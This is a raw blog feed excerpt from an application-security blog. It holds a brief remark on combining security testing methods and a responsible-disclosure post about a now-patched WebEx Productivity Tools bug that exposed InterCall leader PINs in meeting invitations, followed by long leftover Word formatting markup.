The bottom line in my opinion is that you can&#39;t use one security testing technique and have confidence that your apps are secure.&amp;nbsp; Multiple testing approaches are needed for the best assurance.&amp;nbsp; Obviously, cost is a factor here, but for your most business-critical applications, I would use SAST, DAST, and manual pen testing.&amp;nbsp; Techniques like &lt;a href=&quot;http://blogs.gartner.com/neil_macdonald/2012/01/30/interactive-application-security-testing/&quot;&gt;IAST&lt;/a&gt; and &lt;a href=&quot;http://www.gartner.com/it-glossary/runtime-application-self-protection-rasp&quot;&gt;RASP&lt;/a&gt; are making strides and have much promise as well.&amp;nbsp; Both of these are going to require development teams to be more involved (and accountable) for application security however.&amp;nbsp;&amp;nbsp;&amp;nbsp; </description><link>http://appsecnotes.blogspot.com/2015/06/owasp-4-continues-to-laugh-at-automated.html</link><author>noreply@blogger.com (Dave Ferguson)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-1914232726145183983</guid><pubDate>Fri, 22 May 2015 15:52:00 +0000</pubDate><atom:updated>2015-05-29T20:28:11.388-05:00</atom:updated><title>Bug in WebEx Productivity Tools Exposed Audio Conference Credentials</title><description>I recently found a security bug in Cisco&#39;s &lt;a href=&quot;https://www.webex.com/support/productivity-tools.html&quot;&gt;WebEx Productivity Tools&lt;/a&gt;.&amp;nbsp; The bug caused your audio conferencing credentials to be sent out in meeting invitations.&amp;nbsp; It was limited in scope to InterCall customers who integrate with WebEx.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Background&lt;/u&gt;:&lt;br /&gt;
&lt;a href=&quot;http://www.intercall.com/services/audio-conferencing/&quot;&gt;InterCall&lt;/a&gt; is an audio conferencing solution and can be used as an alternative to WebEx&#39;s built-in audio.&amp;nbsp; My company is starting to roll out WebEx this way.&amp;nbsp; InterCall users have a dedicated&amp;nbsp; conference code and 
a leader PIN which are your account credentials.&amp;nbsp; The conference code is meant to be public, but the leader PIN is like a password and should be kept confidential.&amp;nbsp; Productivity Tools (PT) is an add-on product for WebEx customers.&amp;nbsp; One of the key features is an integration with Outlook that allows you to create WebEx meetings and send out the invitations from within Outlook.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;The Discovery&lt;/u&gt;:&lt;br /&gt;
First I set up WebEx to use my InterCall account for audio and then downloaded and installed WebEx PT.&amp;nbsp; Next I created a test WebEx meeting from within Outlook and invited one person.&amp;nbsp; Upon clicking &quot;Send&quot;, PT securely communicated to the WebEx server to auto-populate the conferencing information in the meetng invite.&amp;nbsp; When the information appeared, I saw my InterCall leader PIN just for a moment before the email was sent.&amp;nbsp; At first I thought it was a mistake, but inspection of my Sent Items folder showed that my PIN was indeed sent.&amp;nbsp; The person who received the invite confirmed he got my PIN as well.&amp;nbsp; Wow!&amp;nbsp; How could no one at Cisco or my company notice this?&amp;nbsp; I was unable to find a work-around except for avoiding PT altogether by logging into the WebEx site and creating a meeting from there.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6JlE0Icpv-JcCqxZFqT8J1YTkedkLG5w7UV3Bo-QYPRvPmPo_r9Lny5Fhl6ea9yr8flNJ9jXcXMiUU1hMrjcp8fx8xghyphenhyphenXwAd0xkvgQ3f-fKeLDz4Qn7LBknUt0LpeEL4AvIbl0311lbp/s1600/leaderpin.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;259&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6JlE0Icpv-JcCqxZFqT8J1YTkedkLG5w7UV3Bo-QYPRvPmPo_r9Lny5Fhl6ea9yr8flNJ9jXcXMiUU1hMrjcp8fx8xghyphenhyphenXwAd0xkvgQ3f-fKeLDz4Qn7LBknUt0LpeEL4AvIbl0311lbp/s320/leaderpin.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
The WebEx meeting host key was also exposed in the email, but that wasn&#39;t too worrisome because it changes with each meeting.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;The Fix&lt;/u&gt;:&lt;br /&gt;
I reported this security threat to Cisco (and InterCall) on April 28th.&amp;nbsp; After pestering them for updates, Cisco Engineering finally confirmed to me on May 14 that it was a defect and that they were working on a fix.&amp;nbsp; I can now confirm that 
the bug has been fixed in WebEx Productivity Tools Version 
2.36.13013.10003, which was released on May 19, 2015.&amp;nbsp; I would like to 
thank both InterCall support and Cisco PSIRT for their attention to this matter.&amp;nbsp; For reasons that are unclear, Cisco hasn&#39;t released a &lt;a href=&quot;http://tools.cisco.com/security/center/publicationListing&quot;&gt;security advisory or security alert&lt;/a&gt; about this issue&amp;nbsp; This blog post will have to suffice.&lt;br /&gt;
&lt;br /&gt;
I&#39;d like to be able to say that technical acumen and advanced hacking were needed to find this vulnerability.&amp;nbsp; Alas that was not the case!&amp;nbsp; I was just curious about my new WebEx toy, wanted to understand how it worked, and stumbled upon it. Being curious and questioning things... it&#39;s what people in information security tend to do.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Update&lt;/u&gt;: On May 28th I received an email from WebEx notifying me about the patch for the vulnerability:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8mX-fJ9C63fp4pBJZP9guWWCP3YEWlM7w2hM4-55EsHtjX6Jj0J5rPtV4oNizcvg4WX59AINejc_-qtOyjEatk71-n_BgCJWrUPMbJnaBFZQcdfQdTBlxerPiu2JAcxqpkQA9TU6YPvjp/s1600/webex_notif.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;245&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8mX-fJ9C63fp4pBJZP9guWWCP3YEWlM7w2hM4-55EsHtjX6Jj0J5rPtV4oNizcvg4WX59AINejc_-qtOyjEatk71-n_BgCJWrUPMbJnaBFZQcdfQdTBlxerPiu2JAcxqpkQA9TU6YPvjp/s320/webex_notif.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:WordDocument&gt;
  &lt;w:View&gt;Normal&lt;/w:View&gt;
  &lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
  &lt;w:TrackMoves/&gt;
  &lt;w:TrackFormatting/&gt;
  &lt;w:PunctuationKerning/&gt;
  &lt;w:ValidateAgainstSchemas/&gt;
  &lt;w:SaveIfXMLInvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;
  &lt;w:IgnoreMixedContent&gt;false&lt;/w:IgnoreMixedContent&gt;
  &lt;w:AlwaysShowPlaceholderText&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;
  &lt;w:DoNotPromoteQF/&gt;
  &lt;w:LidThemeOther&gt;EN-US&lt;/w:LidThemeOther&gt;
  &lt;w:LidThemeAsian&gt;X-NONE&lt;/w:LidThemeAsian&gt;
  &lt;w:LidThemeComplexScript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;
  &lt;w:Compatibility&gt;
   &lt;w:BreakWrappedTables/&gt;
   &lt;w:SnapToGridInCell/&gt;
   &lt;w:WrapTextWithPunct/&gt;
   &lt;w:UseAsianBreakRules/&gt;
   &lt;w:DontGrowAutofit/&gt;
   &lt;w:SplitPgBreakAndParaMark/&gt;
   &lt;w:EnableOpenTypeKerning/&gt;
   &lt;w:DontFlipMirrorIndents/&gt;
   &lt;w:OverrideTableStyleHps/&gt;
  &lt;/w:Compatibility&gt;
  &lt;m:mathPr&gt;
   &lt;m:mathFont m:val=&quot;Cambria Math&quot;/&gt;
   &lt;m:brkBin m:val=&quot;before&quot;/&gt;
   &lt;m:brkBinSub m:val=&quot;--&quot;/&gt;
   &lt;m:smallFrac m:val=&quot;off&quot;/&gt;
   &lt;m:dispDef/&gt;
   &lt;m:lMargin m:val=&quot;0&quot;/&gt;
   &lt;m:rMargin m:val=&quot;0&quot;/&gt;
   &lt;m:defJc m:val=&quot;centerGroup&quot;/&gt;
   &lt;m:wrapIndent m:val=&quot;1440&quot;/&gt;
   &lt;m:intLim m:val=&quot;subSup&quot;/&gt;
   &lt;m:naryLim m:val=&quot;undOvr&quot;/&gt;
  &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:LatentStyles DefLockedState=&quot;false&quot; DefUnhideWhenUsed=&quot;true&quot;
  DefSemiHidden=&quot;true&quot; DefQFormat=&quot;false&quot; DefPriority=&quot;99&quot;
  LatentStyleCount=&quot;267&quot;&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;0&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Normal&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;heading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;35&quot; QFormat=&quot;true&quot; Name=&quot;caption&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;10&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Title&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; Name=&quot;Default Paragraph Font&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;11&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtitle&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;22&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Strong&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;20&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;59&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Table Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; UnhideWhenUsed=&quot;false&quot; Name=&quot;Placeholder Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;No Spacing&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; UnhideWhenUsed=&quot;false&quot; Name=&quot;Revision&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;34&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;List Paragraph&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;29&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Quote&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;30&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Quote&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 5&quot;/&gt;
